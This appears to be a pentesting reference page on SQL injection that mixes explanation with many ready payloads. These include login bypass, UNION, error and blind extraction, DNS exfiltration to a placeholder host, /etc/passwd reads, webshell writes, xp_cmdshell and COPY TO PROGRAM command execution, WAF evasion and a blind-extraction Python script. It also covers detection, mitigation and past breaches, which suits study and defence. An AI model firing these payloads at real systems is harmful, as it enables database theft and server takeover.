Skip to content

SQL Injection (SQLi)

Injection of SQL syntax into a query the app builds with user input. Depending on the engine and the DB account’s privileges, it ranges from reading the whole database to OS command execution on the server. Despite being one of the oldest vulnerabilities, it remains one of the highest-impact ones, and underlies many of the largest breaches in history.

flowchart LR
    A[Attacker] -->|"' OR 1=1-- "| APP["App (concatenates input)"]
    APP -->|"altered SQL query"| DB[(Database)]
    DB -->|"data or login bypass"| APP
    APP -->|"response"| A

What the attacker gains depends on the engine, privileges and architecture:

  • Data read: dump users, hashes, PII, config secrets.
  • Authentication bypass: ' OR 1=1-- - on login.
  • Write: modify prices, roles, balances (depending on the query).
  • File read/write: LOAD_FILE, INTO OUTFILE (with privilege).
  • RCE: xp_cmdshell (MSSQL), COPY ... TO PROGRAM (Postgres), UDF (MySQL).
  • Pivot: from the DB server into the internal network.

The app concatenates input into a statement sent to the DBMS. The context drives the exploit:

  • String '...' → close and rebalance quotes.
  • Numeric (no quotes) → direct injection.
  • Identifier (column/table, typical in ORDER BY) → not parameterizable.
  • LIMIT / IN() / ORDER BY → special contexts.

Each engine (MySQL/MariaDB, PostgreSQL, MSSQL, Oracle, SQLite) has its own functions, comments and metadata. Identifying the DBMS is the first step: information_schema (MySQL/MSSQL/Postgres), sys.* (MSSQL), all_tables/dual (Oracle), sqlite_master (SQLite). Comments: -- -, #, /* */.

  • In-band — error-based (engine leaks data in error messages) and UNION-based (append columns with arbitrary data).
  • Inferential / blind — boolean (page changes on true/false) and time-based (conditional delays when there’s no visible difference).
  • Out-of-band (OOB) — exfiltration over another channel (DNS/HTTP) when there’s no output or reliable timing.
  • Stacked queries — chain statements (; INSERT...), driver-dependent.
  • Second-order — the payload is stored and runs in a later query (e.g. at signup, then in an internal report).
-- break and boolean logic
id=3' -- error / change ⇒ suspicious
id=3 AND 1=1 vs 1=2 -- confirms boolean injection
id=3'||''=' -- string context (Oracle/Postgres)
-- column count (for UNION)
' ORDER BY 5-- - -- increase until error
' UNION SELECT NULL,NULL,NULL-- - -- tune count and types
-- engine fingerprint
' UNION SELECT @@version,NULL-- - -- MySQL/MSSQL
' UNION SELECT version(),NULL-- - -- Postgres
' UNION SELECT banner,NULL FROM v$version-- - -- Oracle

Exploitation — extraction (UNION / error-based)

Section titled “Exploitation — extraction (UNION / error-based)”
-- schema (MySQL)
' UNION SELECT table_name,column_name FROM information_schema.columns-- -
' UNION SELECT user,password FROM users-- -
-- error-based
MySQL: ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -
MSSQL: ' AND 1=CONVERT(int,(SELECT @@version))-- -
' AND substring((SELECT password FROM users LIMIT 1),1,1)='a'-- - -- boolean
' AND IF(1=1,SLEEP(5),0)-- - -- MySQL (time)
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END-- - -- Postgres
'; IF (1=1) WAITFOR DELAY '0:0:5'-- - -- MSSQL
-- OOB (DNS exfil)
MSSQL: '; EXEC master..xp_dirtree '\\'+(SELECT TOP 1 pass FROM users)+'.oob.tld\x'-- -
Oracle: ' AND (SELECT UTL_HTTP.REQUEST('http://oob.tld/'||(SELECT ...)) FROM dual)=1-- -
-- file read/write (requires privilege)
MySQL: ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -
MySQL: ' UNION SELECT '<?php system($_GET[c]);?>',NULL INTO OUTFILE '/var/www/sh.php'-- -
-- RCE per engine
MSSQL: '; EXEC xp_cmdshell 'whoami'-- -
Postgres: '; COPY (SELECT '') TO PROGRAM 'id'-- - (or UDF / lo_export)
MySQL: UDF (lib_mysqludf_sys) -> sys_exec('...')

Mastering the manual method lets you adapt the attack and evade when the automated tool fails or gets flagged.

  1. Fire each request with Burp Repeater or curl and compare responses:
    Ventana de terminal
    curl -s "https://app.tld/item?id=3'" # SQL error?
    curl -s "https://app.tld/item?id=3 AND 1=1" # vs 3 AND 1=2
  2. Count columns with ORDER BY N up to the error, and find the reflected ones with UNION SELECT 1,2,3.
  3. Dump through those columns: ' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -.
  4. For time-based blind, script the character-by-character extraction yourself (this is literally what sqlmap does under the hood):
    import requests, string
    base, found = "https://app.tld/item", ""
    for pos in range(1, 33):
    for ch in string.printable.strip():
    p = f"3' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{ch}',SLEEP(3),0)-- -"
    if requests.get(base, params={"id": p}, timeout=10).elapsed.total_seconds() > 3:
    found += ch; print(found); break

Inline comments (/*!50000UNION*/), mixed case, UNION→UNION ALL/parentheses, spaces → /**//%0a/+, URL/double/unicode/hex encoding, keyword splitting, equivalent operators (LIKE for =, || for OR). sqlmap --tamper includes space2comment, charencode, between, randomcase, etc.

sqlmap (--dbs --dump, --technique=BEUST, --os-shell, --file-read/--file-write, --tamper=..., --risk/--level), ghauri (fast blind), NoSQLMap (NoSQL).

Full dump, login bypass, hash theft → cracking (hashcat), secret reads, RCE and internal pivot. A SQLi in a minor endpoint can lead to full platform compromise.

  • DBMS auditing (pgAudit, SQL Server Audit, MySQL audit plugin): alert on UNION SELECT, information_schema/sqlite_master from the app account, xp_cmdshell, COPY ... PROGRAM, INTO OUTFILE, LOAD_FILE.
  • Blind signals: SLEEP/BENCHMARK/pg_sleep/WAITFOR, repeated anomalous latencies, bursts of near-identical requests (boolean brute force).
  • OOB: outbound DNS/HTTP from the DB server to unknown domains.
  • WAF with signatures and anomaly; in SIEM, correlate SQL errors (500/messages) after input with quotes/metacharacters.

DB audit logs, app logs with the query/template, WAF, data-segment egress, APM for latency.

  1. Parameterized queries / prepared statements for all data access (the root fix). For dynamic identifiers (not parameterizable), allow-list permitted values.
  2. Least privilege for the app account: no FILE, xp_cmdshell disabled, no DBA, local_infile=0, only the needed grants.
  3. Network separation: the DB server with no Internet egress.
  4. ORM/safe-by-default queries; review raw()/string building in code review.
  5. WAF as an extra layer, never the only one.

Rotate exposed credentials/secrets, assess dump scope, hunt for written webshells/files, patch the injection point and deploy a detection rule.

  • Heartland Payment Systems (2008) — a SQLi was the entry point for one of the largest card breaches in history (~130 million).
  • Sony Pictures (2011, LulzSec) — SQLi exposing data of millions of users stored in cleartext.
  • TalkTalk (2015) — SQLi on their website; data of ~157,000 customers and a record ICO fine.
  • Ransomware/theft campaigns — SQLi as initial access still appears in current DFIR reports.

SQLi is the OWASP Top 10 Injection category. Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Contexts tested: string, numeric, identifier (ORDER BY), LIMIT/IN.
  • Injection confirmed (error / boolean / time) and DBMS fingerprinted.
  • Extraction demonstrated (UNION/error) or, if blind, an extraction PoC.
  • OOB reviewed when there’s no output; files/RCE tested per privilege.
  • WAF evaluated and, where applicable, bypassed.
  • Impact documented with a minimal PoC, without harming/exfiltrating real data.